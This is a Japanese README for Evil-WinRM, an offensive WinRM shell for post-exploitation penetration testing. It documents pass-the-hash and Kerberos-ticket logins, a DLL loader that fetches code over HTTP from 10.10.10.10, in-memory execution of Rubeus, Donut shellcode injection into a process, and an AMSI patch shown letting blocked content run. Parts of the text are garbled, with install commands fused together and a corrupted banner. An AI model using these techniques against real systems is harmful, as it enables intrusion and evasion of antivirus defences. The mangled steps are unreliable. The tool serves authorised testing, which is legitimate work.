
ハッキング/ペネトレーションテストのための究極のWinRMシェル
ハッキング/ペネトレーションテストのための究極のWinRMシェル

このシェルは、ハッキング/ペネトレーションテストのための究極のWinRMシェルです。
WinRM(Windows Remote Management)は、WS-Managementプロトコルのマイクロソフト実装です。これは、異なるベンダーのハードウェアやオペレーティングシステムが相互運用できるようにする標準的なSOAPベースのプロトコルです。マイクロソフトは、システム管理者の作業を容易にするために、自社のオペレーティングシステムにこれを組み込みました。
このプログラムは、この機能が有効になっている(通常はポート5985)任意のMicrosoft Windows Serverで使用できます。もちろん、使用するには資格情報と権限が必要です。したがって、ポストエクスプロイテーションのハッキング/ペネトレーションテストフェーズで使用できると言えます。このプログラムの目的は、ハッキングに便利で使いやすい機能を提供することです。システム管理者が正当な目的で使用することもできますが、ほとんどの機能はハッキング/ペネトレーションテストに焦点を当てています。
主にWinRM Rubyライブラリに基づいており、バージョン2.0以降、動作方法が変更されました。現在はWinRMプロトコルを使用する代わりに、PSRP(Powershell Remoting Protocol)を使用して、Runspaceプールの初期化やパイプラインの作成・処理を行っています。
Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-a USERAGENT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [-K TICKET_FILE] [--spn SPN_PREFIX] [-l] -S, --ssl Enable ssl -c, --pub-key PUBLIC_KEY_PATH Local path to public key certificate -k, --priv-key PRIVATE_KEY_PATH Local path to private key certificate -r, --realm DOMAIN Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com } -K, --ccache TICKET_FILE Path to Kerberos ticket file (ccache or kirbi format, auto-detected) -s, --scripts PS_SCRIPTS_PATH Powershell scripts local path --spn SPN_PREFIX SPN prefix for Kerberos auth (default HTTP) -e, --executables EXES_PATH C# executables local path -i, --ip IP Remote host IP or hostname. FQDN for Kerberos auth (required) -U, --url URL Remote url endpoint (default /wsman) -u, --user USER Username (required if not using kerberos) -p, --password PASS Password -H, --hash HASH NTHash -P, --port PORT Remote host port (default 5985) -a, --user-agent Specify connection user-agent (default Microsoft WinRM Client) -V, --version Show version -n, --no-colors Disable colors -N, --no-rpath-completion Disable remote path completion -l, --log Log the WinRM session -h, --help Display this help message
## 必要条件
Ruby 2.3以上が必要です。以下のRuby gemも必要です: `winrm >=2.3.7`, `winrm-fs >=1.3.2`, `stringio >=0.0.2`, `logger >= 1.4.3`, `fileutils >= 0.7.2`。
インストール方法(4通りあります)によっては、手動でインストールする必要がある場合があります。
Kerberos認証にのみ使用されるもう一つの重要な要件は、ネットワーク認証に使用されるKerberosパッケージをインストールすることです。
Debian系(Kali、Parrotなど)の一部のLinuxでは、`krb5-user`と呼ばれます。BlackArchでは`krb5`と呼ばれ、他のLinuxディストリビューションでは異なる名前の場合もあります。
リモートパス補完機能は、Rubyが`--with-readline-dir`フラグを有効にしてコンパイルされている場合のみ動作します。これは一部のLinuxディストリビューションに含まれるRubyではデフォルトで有効ですが、すべてではありません。詳細は[以下のセクション](#Remote-path-completion)をご確認ください。
## インストールとクイックスタート(4つの方法)
### 方法1. Ruby gemとして直接インストール(依存関係は自動的にシステムにインストールされます)
- ステップ1. インストールします(依存関係は自動的にインストールされます): ```gem install evil-winrm```
- ステップ2. 準備完了。起動するだけです!```
evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
sudo gem install winrm winrm-fs stringio logger fileutilsgit clone https://github.com/Hackplayers/evil-winrm.git### 方法3. bundler を使用する (依存関係はシステムにインストールされません。evil-winrm を使用するためだけです)
- ステップ1. bundler をインストールする: `gem install bundler`
- ステップ2. リポジトリをクローンする: `git clone https://github.com/Hackplayers/evil-winrm.git`
- ステップ3. bundler で依存関係をインストールする: `cd evil-winrm && bundle install --path vendor/bundle`
- ステップ4. bundler で起動する:```
bundle exec evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
## ドキュメント
### 平文パスワード
パスワードを平文で記述したくない場合は、`-p` 引数を設定しないようにすることで、パスワードが表示されずに入力を促されます。
### Ipv6
IPv6 を使用するには、アドレスを /etc/hosts に追加する必要があります。IP アドレスの代わりに、`-i` 引数の後に既に設定されているホスト名を指定してください。
### 基本コマンド
- **upload**: ローカルファイルはタブキーで自動補完できます。
- 使用法: `upload local_filename` または `upload local_filename destination_filename`
- **download**:
- 使用法: `download remote_filename` または `download remote_filename destination_filename`
__パスについての注意 (upload/download)__:
相対パスはダウンロード/アップロードでは使用できません。カレントディレクトリのファイル名か絶対パスを使用してください。
Docker 環境で Evil-WinRM を使用している場合、すべてのローカルパスは `/data` にある必要があり、ダウンロードしたファイルにアクセスしたり、ローカルホスト OS からファイルをアップロードできるように、それをボリュームとしてマッピングしていることを確認してください。
- **services**: 各サービスに対してアカウントに権限があるかどうかを表示して、すべてのサービスを一覧表示します。この機能を使用するのに管理者権限は必要ありません。
- **menu**: 後述する `Invoke-Binary`、`Dll-Loader`、`Donut-Loader` 関数をロードします。ps1 がロードされると、そのすべての関数が表示されます。
- **clear** または **cls**: ターミナル画面をクリアします。`Ctrl+L` キーボードショートカットを使用して画面をクリアすることもできます。```
*Evil-WinRM* PS C:\> menu
,. ( . ) " ,. ( . ) .
(" ( ) )' ,' ( ' (" ) )' ,' . ,)
.; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )((
_".,_,.__).,) (.._( ._), ) , (._..( '.._"._, . '._)_(..,_(_".) _( _')
\_ _____/__ _|__| | (( ( / \ / \__| ____\______ \ / \
| __)_\ \/ / | | ;_)_') \ \/\/ / |/ \| _/ / \ / \
| \\ /| | |__ /_____/ \ /| | | \ | \/ Y \
/_______ / \_/ |__|____/ \__/\ / |__|___| /____|_ /\____|__ /
\/ \/ \/ \/ \/
By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
[+] Dll-Loader
[+] Donut-Loader
[+] Invoke-Binary
[+] Bypass-4MSI
[+] services
[+] upload
[+] download
[+] clear
[+] cls
[+] menu
[+] exit
ps1ファイルを読み込むには、名前を入力するだけです(タブによる自動補完が可能)。スクリプトは-s引数で設定されたパスに存在している必要があります。もう一度menuと入力すると、読み込まれた関数が表示されます。非常に大きなファイルは読み込みに時間がかかる場合があります。```
Evil-WinRM PS C:> PowerView.ps1
Evil-WinRM PS C:> menu
,. ( . ) " ,. ( . ) .
(" ( ) )' ,' ( ' (" ) )' ,' . ,)
.; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )((
".,,.).,) (..( .), ) , (...( '.."., . '.)(..,(".) ( ')
_ / _|| | (( ( / \ / _| _ \ /
| __)\ / / | | ;)') \ // / |/ | / / \ /
| \ /| | | // \ /| | | \ | / Y
/_____ / _/ |__|/ _/\ / ||| /__| /__| /
/ / / / /
By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
[+] Add-DomainAltSecurityIdentity [+] Add-DomainGroupMember [+] Add-DomainObjectAcl [+] Add-RemoteConnection [+] Add-Win32Type [+] Convert-ADName [+] Convert-DNSRecord [+] ConvertFrom-LDAPLogonHours [+] ConvertFrom-SID [+] ConvertFrom-UACValue [+] Convert-LDAPProperty [+] Convert-LogonHours [+] ConvertTo-SID [+] Dll-Loader [+] Donut-Loader [+] Export-PowerViewCSV [+] field [+] Find-DomainLocalGroupMember
### 高度なコマンド
- Invoke-Binary: .Net アセンブリをメモリ内で実行できるようにします。名前はタブキーを使用してオートコンプリートできます。exeファイルの引数はカンマ区切りで渡すことができます。例: `Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'`。実行可能ファイルは `-e` 引数で設定されたパスに存在している必要があります。```
*Evil-WinRM* PS C:\> Invoke-Binary
.SYNOPSIS
Execute binaries from memory.
PowerShell Function: Invoke-Binary
Author: Luis Vacas (CyberVaca)
Required dependencies: None
Optional dependencies: None
.DESCRIPTION
.EXAMPLE
Invoke-Binary /opt/csharp/Watson.exe
Invoke-Binary /opt/csharp/Binary.exe param1,param2,param3
Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'
Description
-----------
Function that execute binaries from memory.
*Evil-WinRM* PS C:\> Invoke-Binary /opt/csharp/Rubeus.exe
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
Ticket requests and renewals:
Dll-Loader: DLLライブラリをメモリにロードできます。これは以下と同等です: [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("pwn.dll"))
DLLファイルはsmb、http、またはローカルでホストできます。ロードされたら menu と入力すると、すべての関数のオートコンプリートが可能になります。```
Evil-WinRM PS C:> Dll-Loader
.SYNOPSIS
dll loader.
PowerShell Function: Dll-Loader
Author: Hector de Armas (3v4Si0N)
Required dependencies: None Optional dependencies: None .DESCRIPTION . .EXAMPLE Dll-Loader -smb -path \192.168.139.132\share\myDll.dll Dll-Loader -local -path C:\Users\Pepito\Desktop\myDll.dll Dll-Loader -http -path http://example.com/myDll.dll
Function that loads an arbitrary dll
Evil-WinRM PS C:> Dll-Loader -http http://10.10.10.10/SharpSploit.dll [+] Reading dll by HTTP [+] Loading dll... Evil-WinRM PS C:\Users\test\Documents> menu
[... Snip ...]
Evil-WinRM PS C:> [SharpSploit.Enumeration.Host]::GetProcessList()
Pid : 0 Ppid : 0 Name : Idle Path : SessionID : 0 Owner : Architecture : x64
- Donut-Loader: x64ペイロードを注入できるようにします。このペイロードは素晴らしい[donut]テクニックで生成されます。payload.binをエンコードする必要はありません。生成して注入するだけです。```
*Evil-WinRM* PS C:\> Donut-Loader
.SYNOPSIS
Donut Loader.
PowerShell Function: Donut-Loader
Author: Luis Vacas (CyberVaca)
Based code: TheWover
Required dependencies: None
Optional dependencies: None
.DESCRIPTION
.EXAMPLE
Donut-Loader -process_id 2195 -donutfile /home/cybervaca/donut.bin
Donut-Loader -process_id (get-process notepad).id -donutfile /home/cybervaca/donut.bin
Description
-----------
Function that loads an arbitrary donut :D
Windowsを使用しない場合、この[donut-maker]を使ってpayload.binを生成できます。このスクリプトはMarcello Salvati ([byt3bl33d3r])が作成したPythonモジュールを使用します。pipを使ってインストールできます: `pip3 install donut-shellcode```` python3 donut-maker.py -i Covenant.exe
.'/,-Y" "-.
l.Y ^.
/\ __ Donuts!
i /" "
| /" "\ o !
l ] o !./
\ _ _ .__./ "
X / \ _./
( \ . ..--" ~" /
Y \ /
| "x.^
| -. Z,-- /
__. ( / ______)
\ l /-----
j Y
[+] Donut generated successfully: payload.bin
- Bypass-4MSI: AMSI保護をパッチします。```
*Evil-WinRM* PS C:\> #amsiscanbuffer
At line:1 char:1
+ #amsiscanbuffer
+ ~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
*Evil-WinRM* PS C:\>
*Evil-WinRM* PS C:\> Bypass-4MSI
[+] Success!
*Evil-WinRM* PS C:\> #amsiscanbuffer
*Evil-WinRM* PS C:\>
まず、DCと日付を同期する必要があります: rdate -n <dc_ip>
チケットを生成する方法はいくつかあります:
チケットファイルを追加します。3つの方法があります:
export KRB5CCNAME=/foo/var/ticket.ccache
cp ticket.ccache /tmp/krb5cc_0
-K パラメータを使用: evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.ccache または evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.kirbi
-K を使用すると、ツールは自動的に以下の処理を行います:
KRB5CCNAME 環境変数を設定レルムを /etc/krb5.conf に追加します(Linux の場合)。この形式を使用することが重要です: ```
CONTOSO.COM = {
kdc = fooserver.contoso.com
}
この機能は、使用しているrubyによっては利用できない場合があります。rubyがreadlineサポート付きでコンパイルされている必要があります。そうでない場合、この機能は動作しません(警告が表示されます)。
この方法では、必要なreadline機能を有効にしてrubyをコンパイルしますが、システムのデフォルトのrubyバージョンを変更せずにライブラリのみを使用します。このため、最も推奨される方法です。
Debianベースのシステムにruby 2.7.3がインストールされていると仮定しましょう:```
apt install libreadline-dev
ruby --version ruby 2.7.3p183 (2021-04-05 revision 6847ee089d) [x86_64-linux-gnu]
wget https://ftp.ruby-lang.org/pub/ruby/2.7/ruby-2.7.3.tar.gz
tar -xf ruby-2.7.3.tar.gz
cd ruby-2.7.3/ext/readline ruby ./extconf.rb make
sudo cp /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so.bk sudo cp -f readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so
#### 方法2(rbenvを使用してevil-winrm専用にrubyをインストールする)
DebianベースのLinuxでruby 2.7.1をインストールしたいとします。そして、zshを使用しているとします。このスクリプトがそれを自動化します。evil-winrm.rbとGemfileがあるディレクトリ(例えばgit clone後に作成されたevil-winrmディレクトリ)からスクリプトを実行する必要があります:```
#!/usr/bin/env zsh
# Uninstall possible current installed versions
sudo gem uninstall evil-winrm -q
gem uninstall evil-winrm -q
# Install rbenv
sudo apt install rbenv
# Config rbenv on zshrc config file
echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.zshrc
echo 'eval "$(rbenv init -)"' >> ~/.zshrc
source ~/.zshrc
# Install ruby with readline support
export RUBY_CONFIGURE_OPTS=--with-readline-dir="/usr/include/readline"
rbenv install 2.7.1
# Create file '.ruby-version' to set right ruby version
rbenv local 2.7.1
# Install local gems
gem install bundler
bundle install
current_evwr="$(pwd)/evil-winrm.rb"
sudo bash -c "cat << 'EOF' > /usr/bin/evil-winrm
#!/usr/bin/env sh
"${current_evwr}" "\$@"
EOF"
sudo chmod +x /usr/bin/evil-winrm
Then you can safely launch evil-winrm using the new installed ruby with the required readline support from any location.
自分でコンパイルしたい場合は、以下の手順に従ってください。ruby 2.7.3が必要だと仮定します:``` wget -O ruby-install-0.8.1.tar.gz https://github.com/postmodern/ruby-install/archive/v0.8.1.tar.gz tar -xzvf ruby-install-0.8.1.tar.gz cd ruby-install-0.8.1/ sudo make install ruby-install ruby 2.7.3 -- --with-readline-dir=/usr/include/readline
システムによっては、`/opt/rubies/ruby-2.7.3` または `~/.rubies/ruby-2.7.3` にインストールされます。
次に、新しくインストールしたRubyバージョン用にevil-winrmの依存関係をインストールする必要があります。最も簡単な方法は、コマンド `/opt/rubies/ruby-2.7.3/bin/gem install evil-winrm` を実行することです。使用するgemコマンドは、新しいRubyインストールに属している必要があります。
その後、新しくインストールしたRubyを安全に起動してevil-winrmで使用できます: `/opt/rubies/ruby-2.7.3/bin/ruby ./evil-winrm.rb -h`
この新しくインストールしたRubyは、evil-winrmの起動にのみ使用することをお勧めします。システムのデフォルトRubyとして設定する場合は、依存関係のgemがインストールされていないことに注意してください。依存関係の問題により、MetasploitなどのRubyベースのソフトウェアが正しく起動しない可能性があります。
### ログ記録
この機能は、$HOMEディレクトリにファイルを作成し、コマンドとWinRMセッションの出力を保存します。
### コマンド履歴
Evil-WinRMは、各ホストとユーザーの組み合わせごとに永続的なコマンド履歴を保持します。履歴は `~/.evil-winrm/history/` ディレクトリに、`{host}_{user}.hist` という名前のファイルとして保存されます。
以前にアクセスしたマシンに接続する場合、矢印キー(上/下)を使用して以前のコマンドを参照できます。履歴は各コマンド実行後に自動的に保存され、同じホストに同じユーザーで再接続するときに読み込まれます。
### 既知の問題。OpenSSLエラー
時々、次のようなエラーが発生する可能性があります:```
Error: An error of type OpenSSL::Digest::DigestError happened, message is Digest initialization failed: initialization error
このエラーは、OpenSSL 3.0 バージョンがこのツールの実行に必要な MD4 などの一部のレガシー機能を廃止したために発生します。この状況に対処するための既存の回避策はいくつかあります:
/etc/ssl/openssl.cnf 設定ファイルを編集し、設定が次のようになっていることを確認してください:```
openssl_conf = openssl_init[openssl_init] providers = provider_sect
[provider_sect] default = default_sect legacy = legacy_sect
[default_sect] activate = 1
[legacy_sect] activate = 1
- 最後の回避策の代替として、システムがOpenSSLの代わりにLibreSSLを使用している場合、または単にシステムの設定ファイルを変更したくない場合。上記の内容を含むシンプルなファイルを作成します。`evil-tls.conf`などの任意の名前を使用できます。その後、環境変数をエクスポートして強制的に使用させます: `export OPENSSL_CONF="/path/to/evil-tls.conf"`。そしてツールを起動すると、エラーは消えます。
## 変更履歴:
変更履歴とプロジェクトの変更はこちらで確認できます: [CHANGELOG.md](https://raw.githubusercontent.com/Hackplayers/evil-winrm/master/CHANGELOG.md)
## クレジット:
スタッフ:
- [Cybervaca], (創設者). Twitter (X): [@CyberVaca_]
- [OscarAkaElvis], Twitter (X): [@OscarAkaElvis]
- [Jarilaos], Twitter (X): [@_Laox]
- [arale61], Twitter (X): [@arale61]
謝辞:
- [Vis0r] 個人的なサポートに対して。
- [Alamot] オリジナルコードに対して。
- [3v4Si0N] 素晴らしいDLLローダーに対して。
- [WinRb] Rubyライブラリのすべての貢献者。
- [TheWover] 素晴らしいdonutツールに対して。
- [byt3bl33d3r] donutペイロードを作成するPythonライブラリに対して。
- [Sh11td0wn] 新機能へのインスピレーションに対して。
- [Borch] ログ機能追加の支援に対して。
- [Hackplayers] このソフトウェアをGitHubでホストしてくれたことに対して。
## 免責事項とライセンス
このスクリプトはLGPLv3+の下でライセンスされています。ライセンスへの直接リンク: [License](https://raw.githubusercontent.com/Hackplayers/evil-winrm/master/LICENSE)。
Evil-WinRMは、許可されたペネトレーションテストおよび/または非営利の教育目的のみに使用されるべきです。
このソフトウェアの誤用については、作者や他の協力者は一切の責任を負いません。
自己責任で、またはサーバー所有者の許可を得た上で使用してください。
<!-- Github URLs -->
[Cybervaca]: https://github.com/cybervaca
[OscarAkaElvis]: https://github.com/OscarAkaElvis
[Jarilaos]: https://github.com/jarilaos
[arale61]: https://github.com/arale61
[Vis0r]: https://github.com/vmotos
[Alamot]: https://github.com/Alamot
[3v4Si0N]: https://github.com/3v4Si0N
[Borch]: https://github.com/Stoo0rmq
[donut]: https://github.com/TheWover/donut
[donut-maker]: https://raw.githubusercontent.com/Hackplayers/Salsa-tools/master/Donut-Maker/donut-maker.py
[byt3bl33d3r]: https://twitter.com/byt3bl33d3r
[WinRb]: https://github.com/WinRb/WinRM/graphs/contributors
[TheWover]: https://github.com/TheWover
[Sh11td0wn]: https://github.com/Sh11td0wn
[ticketer.py]: https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/ticketer.py
[ticket_converter.py]: https://github.com/Zer1t0/ticket_converter
[Rubeus]: https://github.com/GhostPack/Rubeus
[Mimikatz]: https://github.com/gentilkiwi/mimikatz
[cheatsheet]: https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a
[Dockerhub]: https://hub.docker.com/r/oscarakaelvis/evil-winrm
[Hackplayers]: https://www.hackplayers.com/
<!-- Twitter URLs -->
[@CyberVaca_]: https://twitter.com/CyberVaca_
[@OscarAkaElvis]: https://twitter.com/OscarAkaElvis
[@_Laox]: https://twitter.com/_Laox
[@arale61]: https://twitter.com/arale61
<!-- Badges URLs -->
[Version-shield]: https://img.shields.io/badge/version-3.9-blue.svg?style=flat-square&colorA=273133&colorB=0093ee "Latest version"
[Ruby2.3-shield]: https://img.shields.io/badge/ruby-2.3+-blue.svg?style=flat-square&colorA=273133&colorB=ff0000 "Ruby 2.3 or later"
[License-shield]: https://img.shields.io/badge/license-LGPL%20v3+-blue.svg?style=flat-square&colorA=273133&colorB=bd0000 "LGPL v3+"
[Docker-shield]: https://img.shields.io/docker/automated/oscarakaelvis/evil-winrm.svg?style=flat-square&colorA=273133&colorB=a9a9a9 "Docker rules!"
[Gem-Version]: https://img.shields.io/gem/v/evil-winrm?style=flat-square&colorA=273133&colorB=46c249 "Ruby gem"
klistを使用してKerberosチケットを確認する
チケットを削除するには: kdestroyを使用する
Kerberosの詳細については、この[cheatsheet]を参照してください